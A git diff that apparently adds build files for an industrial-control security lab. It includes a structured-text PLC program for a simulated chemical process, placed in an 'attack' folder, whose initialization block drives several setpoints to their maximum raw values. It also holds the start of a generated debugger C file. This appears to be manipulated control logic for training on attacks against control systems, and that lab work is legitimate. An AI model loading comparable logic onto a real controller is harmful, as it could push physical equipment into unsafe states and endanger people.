VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c new file mode 100644 index 0000000..dea34ac --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.c @@ -0,0 +1,798 @@ +/* + * DEBUGGER code + * + * On "publish", when buffer is free, debugger stores arbitrary variables + * content into, and mark this buffer as filled + * + * + * Buffer content is read asynchronously, (from non real time part), + * and then buffer marked free again. + * + * + * */ +#ifdef TARGET_DEBUG_AND_RETAIN_DISABLE + +void __init_debug (void){} +void __cleanup_debug (void){} +void __retrieve_debug(void){} +void __publish_debug (void){} + +#else + +#include "iec_types_all.h" +#include "POUS.h" +/*for memcpy*/ +#include +#include + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define BUFFER_SIZE 1144 + +/* Atomically accessed variable for buffer state */ +#define BUFFER_FREE 0 +#define BUFFER_BUSY 1 +static long buffer_state = BUFFER_FREE; + +/* The buffer itself */ +char debug_buffer[BUFFER_SIZE]; + +/* Buffer's cursor*/ +static char* buffer_cursor = debug_buffer; +#endif + +static unsigned int retain_offset = 0; +/*** + * Declare programs + **/ +extern MAIN RES0__INSTANCE0; + +/*** + * Declare global variables from resources and conf + **/ +extern __IEC_BOOL_t RES0__RUN_BIT; +extern MAIN RES0__INSTANCE0; + +typedef const struct { + void *ptr; + __IEC_types_enum type; +} dbgvardsc_t; + +static dbgvardsc_t dbgvardsc[] = { +{&(RES0__RUN_BIT), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_K), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_TD), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, 